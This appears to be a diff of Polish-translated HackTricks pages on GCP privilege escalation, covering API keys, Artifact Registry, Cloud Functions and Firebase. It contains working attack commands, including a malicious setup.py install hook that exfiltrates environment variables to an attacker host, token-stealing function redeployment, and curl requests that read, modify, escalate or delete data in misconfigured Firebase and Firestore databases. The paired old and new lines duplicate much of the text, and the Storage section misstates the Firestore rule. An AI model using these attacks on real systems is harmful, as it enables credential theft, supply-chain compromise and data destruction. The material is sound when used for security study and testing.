"keyString":"AIzaSy[...]oU",
"name":"projects/5[...]6/locations/global/keys/f707[...]e8",
"uid":"f707[...]e8",
"updateTime":"2022-01-26T12:23:06.378442Z"
}
```
</details>
Możesz znaleźć skrypt automatyzujący [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/b-apikeys.keys.create.sh).
> [!CAUTION]
> Należy pamiętać, że domyślnie użytkownicy mają uprawnienia do tworzenia nowych projektów i otrzymują rolę Owner dla nowego projektu. Zatem użytkownik może u**tworzyć projekt i klucz API w tym projekcie**.
### `apikeys.keys.getKeyString` , `apikeys.keys.list` <a href="#apikeys.keys.getkeystringapikeys.keys.list" id="apikeys.keys.getkeystringapikeys.keys.list"></a>
Te uprawnienia pozwalają na **wylistowanie i pobranie wszystkich apiKeys oraz pobranie Key**:
<details>
<summary>Wyświetlanie i pobieranie wszystkich kluczy API</summary>
```bash
for key in $(gcloud services api-keys list --uri); do
gcloud services api-keys get-key-string "$key"
done
```
</details>
Możesz znaleźć skrypt automatyzujący [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/c-apikeys.keys.getKeyString.sh).
### `apikeys.keys.undelete` , `apikeys.keys.list` <a href="#serviceusage.apikeys.regenerateapikeys.keys.list" id="serviceusage.apikeys.regenerateapikeys.keys.list"></a>
Te uprawnienia pozwalają na **wylistowanie i regenerację usuniętych kluczy API**. **Klucz API jest zwracany w wyniku** po wykonaniu **przywrócenia**:
<details>
<summary>List and undelete API keys</summary>
```bash
gcloud services api-keys list --show-deleted
gcloud services api-keys undelete <key-uid>
```
</details>
### Utwórz wewnętrzną aplikację OAuth, aby phish innych pracowników
Sprawdź następującą stronę, aby dowiedzieć się, jak to zrobić, chociaż ta akcja należy do usługi **`clientauthconfig`** [zgodnie z dokumentacją](https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin):
{{#ref}}
../../workspace-security/gws-google-platforms-phishing/
{{#endref}}
Chociaż App Engine tworzy obrazy dockerowe w Artifact Registry, przetestowano, że **nawet jeśli zmodyfikujesz obraz w tym serwisie** i usuniesz instancję App Engine (w efekcie wdrożona zostanie nowa), to **wykonywany kod się nie zmienia**.\
Możliwe, że przeprowadzenie **Race Condition attack** podobnie jak w przypadku buckets pozwoliłoby nadpisać wykonywany kod, ale nie zostało to przetestowane.
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## Artifact Registry
Aby uzyskać więcej informacji o Artifact Registry sprawdź:
Aby uzyskać więcej informacji o Artifact Registry, sprawdź:
{{#ref}}
../gcp-services/gcp-artifact-registry-enum.md
@@ -12,7 +12,7 @@ Aby uzyskać więcej informacji o Artifact Registry sprawdź:
### artifactregistry.repositories.uploadArtifacts
Dzięki temu uprawnieniu atakujący może przesłać nowe wersje artefaktów zawierające złośliwy kod, np. Docker images:
Dzięki temu uprawnieniu atakujący mógłby przesyłać nowe wersje artefaktów zawierające złośliwy kod, np. Docker images:
<details>
<summary>Prześlij obraz Docker do Artifact Registry</summary>
@@ -29,19 +29,19 @@ docker push <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
</details>
> [!CAUTION]
> Sprawdzono, że jest **możliwe przesłanie nowego złośliwego obrazu docker** o tej samej nazwie i tagu co istniejący, więc **stary obraz utraci tag**, a przy następnym pobraniu obrazu z tym tagiem zostanie pobrany obraz złośliwy.
> Sprawdzono, że jest **możliwe przesłanie nowego złośliwego obrazu docker** o tej samej nazwie i tagu co już obecny, więc **stary utraci tag** i następnym razem, gdy obraz o tym tagu zostanie **pobrany, zostanie pobrany złośliwy**.
<details>
<summary>Prześlij bibliotekę Pythona</summary>
<summary>Prześlij bibliotekę Python</summary>
**Rozpocznij od utworzenia biblioteki do przesłania** (jeśli możesz pobrać najnowszą wersję z rejestru, możesz pominąć ten krok):
**Zacznij od utworzenia biblioteki do przesłania** (jeśli możesz pobrać najnowszą wersję z registry możesz uniknąć tego kroku):
1. **Skonfiguruj strukturę projektu**:
- Utwórz nowy katalog dla swojej biblioteki, np. `hello_world_library`.
- Wewnątrz tego katalogu utwórz kolejny katalog o nazwie pakietu, np. `hello_world`.
- W katalogu pakietu utwórz plik `__init__.py`. Plik może być pusty lub zawierać inicjalizacje pakietu.
- Wewnątrz tego katalogu utwórz kolejny katalog z nazwą pakietu, np. `hello_world`.
- W katalogu pakietu utwórz plik `__init__.py`. Plik ten może być pusty lub może zawierać inicjalizacje dla pakietu.
<details>
<summary>Utwórz strukturę projektu</summary>
@@ -55,7 +55,7 @@ touch hello_world/__init__.py
</details>
2. **Napisz kod swojej biblioteki**:
2. **Napisz kod biblioteki**:
- W katalogu `hello_world` utwórz nowy plik Python dla modułu, np. `greet.py`.
- Napisz funkcję "Hello, World!":
@@ -74,7 +74,7 @@ return "Hello, World!"
3. **Utwórz plik `setup.py`**:
- W katalogu głównym `hello_world_library` utwórz plik `setup.py`.
- Ten plik zawiera metadane o bibliotece i informuje Pythona, jak ją zainstalować.
- Ten plik zawiera metadane o bibliotece i mówi Pythonowi, jak ją zainstalować.
<details>
<summary>Utwórz plik setup.py</summary>
@@ -95,14 +95,14 @@ install_requires=[
</details>
**Teraz wgraj bibliotekę:**
**Teraz wgrajmy bibliotekę:**
1. **Zbuduj swój pakiet**:
- Z katalogu głównego `hello_world_library` uruchom:
<details>
<summary>Zbuduj pakiet Pythona</summary>
<summary>Zbuduj pakiet Python</summary>
```sh
python3 setup.py sdist bdist_wheel
@@ -112,7 +112,7 @@ python3 setup.py sdist bdist_wheel
2. **Skonfiguruj uwierzytelnianie dla twine** (używane do przesyłania pakietu):
- Upewnij się, że masz zainstalowane `twine` (`pip install twine`).
- Użyj `gcloud` do skonfigurowania poświadczeń:
- Użyj `gcloud`, aby skonfigurować poświadczenia:
<details>
<summary>Prześlij pakiet za pomocą twine</summary>
@@ -124,7 +124,7 @@ twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-acce
3. **Wyczyść kompilację**
<details>
<summary>Wyczyść artefakty kompilacji</summary>
<summary>Usuń artefakty kompilacji</summary>
```bash
rm -rf dist build hello_world.egg-info
```
@@ -133,10 +133,10 @@ rm -rf dist build hello_world.egg-info
</details>
> [!CAUTION]
> Nie można przesłać biblioteki python o tej samej wersji co już obecna, ale można przesłać **wyższe wersje** (albo dodać dodatkowe **`.0` na końcu** wersji jeśli to zadziała - choć nie w pythonie -), lub **usunąć ostatnią wersję i przesłać nową** (wymagane `artifactregistry.versions.delete`):
> Nie można wgrać biblioteki python o tej samej wersji co ta już obecna, ale można wgrać **wyższe wersje** (lub dodać dodatkowe **`.0` na końcu** wersji jeśli to zadziała choć nie w pythonie ), albo **usunąć ostatnią wersję i wgrać nową** (wymagane `artifactregistry.versions.delete`):
>
> <details>
> <summary>Usuń wersję artefaktu</summary>
> <summary>Delete artifact version</summary>
>
> ```sh
> gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>
@@ -146,7 +146,7 @@ rm -rf dist build hello_world.egg-info
### `artifactregistry.repositories.downloadArtifacts`
Posiadając to uprawnienie możesz **pobierać artefakty** i wyszukiwać **wrażliwe informacje** oraz **podatności**.
Dzięki temu uprawnieniu możesz **pobrać artefakty** i przeszukać je w poszukiwaniu **wrażliwych informacji** oraz **luk w zabezpieczeniach**.
Pobierz obraz **Docker**:
@@ -170,7 +170,7 @@ pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth prin
```
</details>
- Co się stanie, jeśli rejestr zdalny i rejestr standardowy zostaną połączone w rejestrze wirtualnym i pakiet istnieje w obu? Sprawdź tę stronę:
- Co się stanie, jeśli rejestr remote i rejestr standardowy zostaną połączone w rejestrze wirtualnym i pakiet istnieje w obu? Sprawdź tę stronę:
{{#ref}}
../gcp-persistence/gcp-artifact-registry-persistence.md
@@ -178,7 +178,7 @@ pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth prin
### `artifactregistry.tags.delete`, `artifactregistry.versions.delete`, `artifactregistry.packages.delete`, (`artifactregistry.repositories.get`, `artifactregistry.tags.get`, `artifactregistry.tags.list`)
Usuwa artefakty z rejestru, takie jak obrazy Docker:
Usuwa artefakty z rejestru, takie jak obrazy docker:
<details>
<summary>Usuń obraz Docker z Artifact Registry</summary>
@@ -190,7 +190,7 @@ gcloud artifacts docker images delete <location>-docker.pkg.dev/<proj-name>/<rep
### `artifactregistry.repositories.delete`
Usuń całe repozytorium (nawet jeśli ma zawartość):
Usuń całe repozytorium (nawet jeśli zawiera zawartość):
<details>
<summary>Usuń repozytorium Artifact Registry</summary>
@@ -201,17 +201,71 @@ gcloud artifacts repositories delete <repo-name> --location=<location>
### `artifactregistry.repositories.setIamPolicy`
Atakujący z tym uprawnieniem mógłby przyznać sobie uprawnienia do wykonania niektórych wcześniej wspomnianych ataków na repozytorium.
Atakujący z tym uprawnieniem mógłby przyznać sobie uprawnienia umożliwiające wykonanie niektórych wcześniej wymienionych ataków na repozytorium.
### Pivoting do innych usług przez Artifact Registry (odczyt i zapis)
### Pivoting to other Services through Artifact Registry Read & Write
- **Cloud Functions**
When a Cloud Function is created a new docker image is pushed to the Artifact Registry of the project. Próbowałem zmodyfikować obraz na nowy, a nawet usunąć aktualny obraz (oraz obraz `cache`) i nic się nie zmieniło — Cloud Function nadal działała. Dlatego być może **można nadużyć Race Condition attack** jak w przypadku bucket, aby zmienić kontener docker, który zostanie uruchomiony, ale **sama modyfikacja przechowywanego obrazu nie pozwala na kompromitację Cloud Function**.
Kiedy tworzona jest Cloud Function, nowy obraz docker jest wypychany do Artifact Registry projektu. Próbowałem zmodyfikować obraz na nowy, a nawet usunąć bieżący obraz (i obraz `cache`) i nic się nie zmieniło — funkcja nadal działała. Dlatego może być możliwe nadużycie **Race Condition attack** jak w przypadku bucketu, aby zmienić kontener docker, który zostanie uruchomiony, jednak samo modyfikowanie przechowywanego obrazu nie pozwala na kompromitację Cloud Function.
- **App Engine**
Pomimo że App Engine tworzy obrazy docker w Artifact Registry, przetestowano, że **nawet jeśli zmodyfikujesz obraz wewnątrz tej usługi** i usuniesz instancję App Engine (tak że zostanie wdrożona nowa), to **wykonywany kod się nie zmienia**.\
Może być możliwe, że przeprowadzenie **Race Condition attack podobnie jak z buckets może pozwolić na nadpisanie wykonywanego kodu**, lecz tego nie przetestowano.
Mimo że App Engine tworzy obrazy docker w Artifact Registry. Przetestowano, że **nawet jeśli zmodyfikujesz obraz w tej usłudze** i usuniesz instancję App Engine (więc wdrażana jest nowa), to **wykonywany kod się nie zmienia**.\\ Może być możliwe, że wykonując **Race Condition attack, podobnie jak w przypadku bucketów, można nadpisać wykonywany kod**, ale tego nie testowano.
### `artifactregistry.repositories.update`
Atakujący nie potrzebuje specyficznych uprawnień w Artifact Registry, aby wykorzystać ten problem — wystarczy podatna konfiguracja wirtualnego repozytorium. Dzieje się tak, gdy wirtualne repozytorium łączy zdalne publiczne repozytorium (np. PyPI, npm) z wewnętrznym, a źródło zdalne ma równy lub wyższy priorytet. Jeśli oba zawierają pakiet o tej samej nazwie, system wybiera najwyższą wersję. Atakujący musi jedynie znać nazwę wewnętrznego pakietu i mieć możliwość publikowania pakietów w odpowiadającym publicznym rejestrze.
Z uprawnieniem `artifactregistry.repositories.update` atakujący mógłby zmienić ustawienia upstream wirtualnego repozytorium, by celowo stworzyć taką podatną konfigurację i użyć Dependency Confusion jako metody persystencji, wstawiając złośliwe pakiety, które deweloperzy lub systemy CI/CD mogą instalować automatycznie.
Atakujący tworzy złośliwą wersję wewnętrznego pakietu w publicznym repozytorium z wyższym numerem wersji. Dla pakietów Python oznacza to przygotowanie struktury pakietu imitującej legalną.
```bash
mkdir /tmp/malicious_package
cd /tmp/malicious_package
PACKAGE_NAME="<package-name>"
mkdir "$PACKAGE_NAME"
touch "$PACKAGE_NAME/__init__.py"
```
Plik setup.py jest następnie tworzony i zawiera złośliwy kod, który uruchomi się podczas instalacji. Ten plik musi określać numer wersji wyższy niż ten w prywatnym repozytorium.
```bash
cat > setup.py << 'EOF'
import setuptools
from setuptools.command.install import install
import os
import urllib.request
import urllib.parse
def malicious_function():
data = dict(os.environ)
encoded_data = urllib.parse.urlencode(data).encode()
url = 'https://<ip-atacante>/exfil'
req = urllib.request.Request(url, data=encoded_data)
urllib.request.urlopen(req)
class AfterInstall(install):
def run(self):
install.run(self)
malicious_function()
setuptools.setup(
name = "<package-name>",
version = "0.1.1",
packages = ["<package-name>"],
cmdclass={'install': AfterInstall},
)
EOF
```
Zbuduj pakiet i usuń plik wheel, aby zapewnić wykonanie kodu podczas instalacji.
```bash
python3 setup.py sdist bdist_wheel
rm dist/<package-name>*.whl
```
Prześlij złośliwy pakiet do publicznego repozytorium (na przykład test.pypi.org dla Pythona).
```bash
pip install twine
twine upload --repository testpypi dist/*
```
Gdy system lub usługa instaluje pakiet, korzystając z repozytorium wirtualnego, pobierze złośliwą wersję z publicznego repozytorium zamiast prawidłowej wersji z repozytorium wewnętrznego, ponieważ złośliwa wersja ma wyższy numer, a zdalne repozytorium ma równy lub wyższy priorytet.
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## cloudfunctions
Więcej informacji o Cloud Functions:
More information about Cloud Functions:
{{#ref}}
../gcp-services/gcp-cloud-functions-enum.md
@@ -12,21 +12,19 @@ Więcej informacji o Cloud Functions:
### `cloudfunctions.functions.create` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
Atakujący posiadający te uprawnienia może **stworzyć nową Cloud Function z dowolnym (złośliwym) kodem i przypisać jej Service Account**. Następnie, leak the Service Account token z metadanych, aby eskalować uprawnienia do niego.\
Może być wymagane dodatkowe uprawnienie do wywoływania funkcji.
Atakujący z tymi uprawnieniami może **utworzyć nową Cloud Function z dowolnym (złośliwym) kodem i przypisać jej Service Account**. Następnie leakować Service Account token z metadata, aby eskalować uprawnienia do niego.\
Mo być wymagane dodatkowe uprawnienia do wywołania funkcji.
Exploit scripts for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) and [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) and the prebuilt .zip file can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions).
Skrypty exploitów dla tej metody można znaleźć [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) i [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) a gotowy plik .zip można znaleźć [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions).
### `cloudfunctions.functions.update` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
Atakujący z tymi uprawnieniami może **zmodyfikować kod Function, a nawet zmienić przypisany Service Account** z celem exfiltrating the token.
Atakujący z tymi uprawnieniami może **zmodyfikować kod funkcji, a nawet zmienić przypisany Service Account** w celu exfiltracji tokena.
> [!CAUTION]
> Aby wdrożyć Cloud Functions, będziesz również potrzebować uprawnień actAs do domyślnego compute service account lub do Service Account używanego do budowy obrazu.
> W celu wdrożenia cloud functions będziesz również potrzebować uprawnień actAs do domyślnego compute Service Account lub do Service Account używanego do budowy obrazu.
Mogą być wymagane dodatkowe uprawnienia, takie jak uprawnienie `.call` dla cloudfunctions v1 lub rola `role/run.invoker` do wywołania funkcji.
<details><summary>Zaktualizuj Cloud Function, dodając złośliwy kod w celu exfiltrate Service Account token</summary>
Mogą być wymagane dodatkowe uprawnienia, takie jak uprawnienie `.call` dla wersji 1 cloudfunctions lub rola `role/run.invoker` do wywołania funkcji.
```bash
# Create new code
temp_dir=$(mktemp -d)
@@ -56,18 +54,14 @@ gcloud functions deploy <cloudfunction-name> \
# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>
```
</details>
> [!CAUTION]
> Jeśli otrzymasz błąd `Permission 'run.services.setIamPolicy' denied on resource...`, to dlatego, że używasz parametru `--allow-unauthenticated` i nie masz wystarczających uprawnień.
> Jeśli otrzymasz błąd `Permission 'run.services.setIamPolicy' denied on resource...` to dlatego, że używasz parametru `--allow-unauthenticated` i nie masz wystarczających uprawnień.
Exploit script dla tej metody znajduje się [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py).
Skrypt exploit dla tej metody można znaleźć [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py).
### `cloudfunctions.functions.sourceCodeSet`
Z tym uprawnieniem możesz uzyskać **signed URL, który pozwala przesłać plik do bucketu funkcji (kod funkcji nie zostanie jednak zmieniony — nadal musisz go zaktualizować)**
<details><summary>Wygeneruj signed upload URL dla Cloud Function</summary>
Dzięki temu uprawnieniu możesz uzyskać **signed URL**, pozwalający przesłać plik do bucketu funkcji (kod funkcji nie zostanie jednak zmieniony — nadal musisz go zaktualizować)
```bash
# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
@@ -75,21 +69,32 @@ curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/loca
-H "Content-Type: application/json" \
-d '{}'
```
</details>
Nie jestem do końca pewien, jak przydatne z perspektywy atakującego jest posiadanie wyłącznie tego uprawnienia, ale warto wiedzieć.
Nie jestem do końca pewien, jak przydatne jest samo to uprawnienie z perspektywy atakującego, ale warto wiedzieć.
### `cloudfunctions.functions.setIamPolicy` , `iam.serviceAccounts.actAs`
Nadaj sobie którekolwiek z poprzednich uprawnień **`.update`** lub **`.create`**, aby eskalować.
Przyznaj sobie dowolne z poprzednich uprawnień **`.update`** lub **`.create`**, aby eskalować.
```bash
gcloud functions add-iam-policy-binding <NOMBRE_FUNCION> \
--region=<REGION> \
--member="<MIEMBRO>" \
--role="roles/cloudfunctions.invoker"
```
### `cloudfunctions.functions.update`
Posiadając wyłącznie uprawnienia **`cloudfunctions`**, bez **`iam.serviceAccounts.actAs`**, nie będziesz w stanie zaktualizować funkcji — WIĘC TO NIE JEST PRAWIDŁOWY PRIVESC.
Posiadanie wyłącznie uprawnień **`cloudfunctions`**, bez **`iam.serviceAccounts.actAs`**, sprawia, że **nie będziesz w stanie zaktualizować funkcji — WIĘC TO NIE JEST PRAWIDŁOWY PRIVESC.**
### Read & Write Access over the bucket
### Wywoływanie funkcji
Dzięki uprawnieniom `cloudfunctions.functions.get`, `cloudfunctions.functions.invoke`, `run.jobs.run`, oraz run.routes.invoke, tożsamość może bezpośrednio wywołać Cloud Functions. Konieczne jest również, aby funkcja zezwalała na ruch publiczny, albo aby wywołujący znajdował się w tej samej sieci co sama funkcja.
```bash
curl -X POST "https://<FUNCTION_URL>" \
-H "Authorization: bearer $(gcloud auth print-identity-token)" \
-H "Content-Type: application/json" \
-d '{ "name": "Developer" }'
```
### Dostęp do odczytu i zapisu do bucketu
Jeśli masz dostęp do odczytu i zapisu w bucketcie, możesz monitorować zmiany w kodzie i za każdym razem, gdy nastąpi **aktualizacja w buckecie możesz zastąpić nowy kod własnym**, dzięki czemu nowa wersja Cloud Function zostanie uruchomiona z przesłanym backdoored kodem.
Jeśli masz dostęp do odczytu i zapisu do bucketu, możesz monitorować zmiany w code i za każdym razem, gdy nastąpi **aktualizacja w bucketu możesz podmienić nowy code na własny**, tak że nowa wersja Cloud Function będzie uruchamiana z przesłanym backdoored code.
Możesz sprawdzić więcej o tym ataku w:
@@ -97,18 +102,18 @@ Możesz sprawdzić więcej o tym ataku w:
gcp-storage-privesc.md
{{#endref}}
Nie możesz jednak użyć tego do wstępnego przejęcia Cloud Functions stron trzecich, ponieważ jeśli utworzysz bucket na swoim koncie i dasz mu publiczne uprawnienia, aby zewnętrzny projekt mógł do niego zapisywać, otrzymasz następujący błąd:
Jednak nie możesz użyć tego do wstępnego kompromitowania Cloud Functions stron trzecich, ponieważ jeśli utworzysz bucket w swoim koncie i nadasz mu uprawnienia publiczne, aby zewnętrzny projekt mógł nadpisać jego zawartość, otrzymasz następujący błąd:
<figure><img src="../../../images/image (1) (1) (1).png" alt="" width="304"><figcaption></figcaption></figure>
> [!CAUTION]
> Jednak może to zostać wykorzystane do ataków DoS.
> Może to jednak być użyte do ataków DoS.
### Read & Write Access over Artifact Registry
### Dostęp do odczytu i zapisu do Artifact Registry
Po utworzeniu Cloud Function nowy docker image jest wypychany do Artifact Registry projektu. Próbowałem zastąpić obraz nowym, a nawet usunąć obecny obraz (i obraz `cache`) i nic się nie zmieniło — Cloud Function nadal działała. Dlatego być może **możliwe byłoby nadużycie Race Condition** podobnie jak w przypadku bucketa, aby zmienić docker container, który będzie uruchomiony, ale **samo modyfikowanie przechowywanego obrazu nie wystarcza, by przejąć Cloud Function**.
Kiedy tworzona jest Cloud Function, nowy docker image jest wysyłany do Artifact Registry projektu. Próbowałem zmodyfikować image na nowy, a nawet usunąć bieżący image (oraz `cache` image) i nic się nie zmieniło — Cloud Function nadal działała. Z tego powodu być może **możliwe byłoby nadużycie Race Condition attack** podobnie jak w przypadku bucketu, aby zmienić docker container, który zostanie uruchomiony, ale **samo zmodyfikowanie przechowywanego image'a nie pozwala na kompromitację Cloud Function**.
## References
## Referencje
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
@@ -0,0 +1,444 @@
# GCP - Firebase Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Firebase
### Unauthenticated access to Firebase Realtime Database
Atakujący nie potrzebuje żadnych specjalnych uprawnień Firebase, aby przeprowadzić ten atak. Wystarczy, że w regułach bezpieczeństwa Firebase Realtime Database znajduje się podatna konfiguracja, w której reguły są ustawione na `.read: true` lub `.write: true`, umożliwiając publiczny odczyt lub zapis.
Atakujący musi zidentyfikować URL bazy danych, który zazwyczaj ma format: `https://<project-id>.firebaseio.com/`.
Ten URL można znaleźć poprzez inżynierię wsteczną aplikacji mobilnych (dekompilację APK Androida lub analizę aplikacji iOS), analizę plików konfiguracyjnych, takich jak google-services.json (Android) lub GoogleService-Info.plist (iOS), przeglądanie kodu źródłowego aplikacji webowych lub analizę ruchu sieciowego w celu zidentyfikowania żądań do domen `*.firebaseio.com`.
Atakujący znajduje URL bazy danych i sprawdza, czy jest publicznie dostępny, następnie uzyskuje dostęp do danych i może wprowadzić złośliwe informacje.
Najpierw sprawdzają, czy baza danych pozwala na odczyt, dopisując .json do URL.
```bash
curl https://<project-id>-default-rtdb.firebaseio.com/.json
```
Jeśli odpowiedź zawiera dane JSON lub null (zamiast "Permission Denied"), baza danych pozwala na odczyt. Aby sprawdzić dostęp do zapisu, atakujący może spróbować wysłać próbne żądanie zapisu przy użyciu Firebase REST API.
```bash
curl -X PUT https://<project-id>-default-rtdb.firebaseio.com/test.json -d '{"test": "data"}'
```
Jeśli operacja powiedzie się, baza danych również umożliwia write access.
### Ujawnienie danych w Cloud Firestore
Atakujący nie potrzebuje żadnych specyficznych uprawnień Firebase, aby przeprowadzić ten atak. Wystarczy podatna konfiguracja w regułach bezpieczeństwa Cloud Firestore, w której reguły zezwalają na read or write access bez authentication lub przy niewystarczającej validation. Przykładem źle skonfigurowanej reguły, która nadaje pełny dostęp, jest:
```bash
service cloud.firestore {
match /databases/{database}/documents/{document=**} {
allow read, write: if true;
}
}
```
Ta reguła pozwala każdemu na odczyt i zapis wszystkich dokumentów bez żadnych ograniczeń. Reguły Firestore są szczegółowe i obowiązują dla poszczególnych kolekcji i dokumentów, więc błąd w konkretnej regule może ujawnić tylko niektóre kolekcje.
Atakujący musi zidentyfikować Firebase Project ID, który można znaleźć poprzez mobile app reverse engineering, analizę plików konfiguracyjnych takich jak google-services.json lub GoogleService-Info.plist, inspecting the source code of web applications, lub analyzing network traffic w celu zidentyfikowania żądań do firestore.googleapis.com.
Firestore REST API używa formatu:
```bash
https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
```
Jeśli reguły pozwalają na dostęp do odczytu bez uwierzytelnienia, atakujący może odczytywać kolekcje i dokumenty. Najpierw próbują uzyskać dostęp do konkretnej kolekcji:
```bash
curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>
```
Jeśli odpowiedź zawiera dokumenty JSON zamiast błędu uprawnień, kolekcja jest ujawniona. Atakujący może wyliczyć wszystkie dostępne kolekcje, próbując typowych nazw lub analizując strukturę aplikacji. Aby uzyskać dostęp do konkretnego dokumentu:
```bash
curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
```
Jeśli reguły zezwalają na niezautoryzowany zapis lub mają niewystarczającą walidację, atakujący może tworzyć nowe dokumenty:
```bash
curl -X POST https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection> \
-H "Content-Type: application/json" \
-d '{
"fields": {
"name": {"stringValue": "Test"},
"email": {"stringValue": "test@example.com"}
}
}'
```
Aby zmodyfikować istniejący dokument, należy użyć PATCH:
```bash
curl -X PATCH https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/users/<user-id> \
-H "Content-Type: application/json" \
-d '{
"fields": {
"role": {"stringValue": "admin"}
}
}'
```
Aby usunąć dokument i spowodować odmowę usługi:
```bash
curl -X DELETE https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
```
### Ujawnienie plików w Firebase Storage
Atakującemu nie są potrzebne żadne specyficzne uprawnienia Firebase, aby przeprowadzić ten atak. Wystarczy, że w regułach bezpieczeństwa Firebase Storage istnieje podatna konfiguracja, w której reguły zezwalają na dostęp do odczytu lub zapisu bez uwierzytelnienia lub z niewystarczającą walidacją. Reguły Storage kontrolują uprawnienia do odczytu i zapisu niezależnie, więc błąd w regule może ujawnić tylko dostęp do odczytu, tylko do zapisu, albo oba. Przykładem źle skonfigurowanej reguły, która przyznaje pełny dostęp, jest:
```bash
service cloud.firestore {
match /databases/{database}/documents/{document=**} {
allow read, write: if true;
}
}
```
Ta reguła zezwala na odczyt i zapis wszystkich dokumentów bez żadnych ograniczeń. Reguły Firestore są szczegółowe i stosowane na poziomie kolekcji i dokumentu, więc błąd w konkretnej regule może ujawnić tylko niektóre kolekcje. Atakujący musi zidentyfikować Firebase Project ID, który można znaleźć poprzez mobile application reverse engineering, analizę plików konfiguracyjnych takich jak google-services.json lub GoogleService-Info.plist, inspekcję kodu źródłowego aplikacji webowej lub analizę ruchu sieciowego w celu zidentyfikowania żądań do firestore.googleapis.com.
Firestore REST API używa formatu: `https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>.`
Jeśli reguły pozwalają na nieautoryzowany dostęp do odczytu, atakujący może odczytać kolekcje i dokumenty. Najpierw próbuje uzyskać dostęp do konkretnej kolekcji.
```bash
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o"
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?prefix=<path>"
```
Jeśli odpowiedź zawiera listę plików zamiast błędu uprawnień, plik jest ujawniony. Atakujący może zobaczyć zawartość plików, podając ich ścieżkę:
```bash
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<urlencode(path)>"
```
Jeżeli reguły zezwalają na zapis bez uwierzytelnienia lub mają niewystarczającą walidację, atakujący może przesłać złośliwe pliki. Aby przesłać plik przez REST API:
```bash
curl -X POST "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?name=<path>" \
-H "Content-Type: <content-type>" \
--data-binary @<local-file>
```
Atakujący może przesłać code shells, malware payloads lub duże pliki, aby spowodować denial of service. Jeśli aplikacja przetwarza lub wykonuje przesłane pliki, atakujący może uzyskać remote code execution. Aby usunąć pliki i spowodować denial of service:
```bash
curl -X DELETE "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<path>"
```
### Wywoływanie publicznych Firebase Cloud Functions
Atakujący nie potrzebuje żadnych specjalnych uprawnień w Firebase, aby wykorzystać ten problem; wystarczy, że Cloud Function jest publicznie dostępna przez HTTP bez uwierzytelnienia.
Funkcja jest podatna, gdy jest nieprawidłowo skonfigurowana:
- Używa functions.https.onRequest, które nie wymusza uwierzytelnienia (w przeciwieństwie do onCall functions).
- Kod funkcji nie weryfikuje uwierzytelnienia użytkownika (np. brak sprawdzeń request.auth lub context.auth).
- Funkcja jest publicznie dostępna w IAM, co oznacza, że allUsers ma rolę roles/cloudfunctions.invoker. To jest domyślne zachowanie dla HTTP functions, chyba że deweloper ograniczy dostęp.
Firebase HTTP Cloud Functions są udostępniane pod adresami URL takimi jak:
- https://<region>-<project-id>.cloudfunctions.net/<function-name>
- https://<project-id>.web.app/<function-name> (when integrated with Firebase Hosting)
Atakujący może odkryć te URL-e poprzez source code analysis, network traffic inspection, enumeration tools lub mobile app reverse engineering. Jeśli funkcja jest publicznie wystawiona i nie wymaga uwierzytelnienia, atakujący może ją wywołać bezpośrednio bez poświadczeń.
```bash
# Invoke public HTTP function with GET
curl "https://<region>-<project-id>.cloudfunctions.net/<function-name>"
# Invoke public HTTP function with POST and data
curl -X POST "https://<region>-<project-id>.cloudfunctions.net/<function-name>" \
-H "Content-Type: application/json" \
-d '{"param1": "value1", "param2": "value2"}'
```
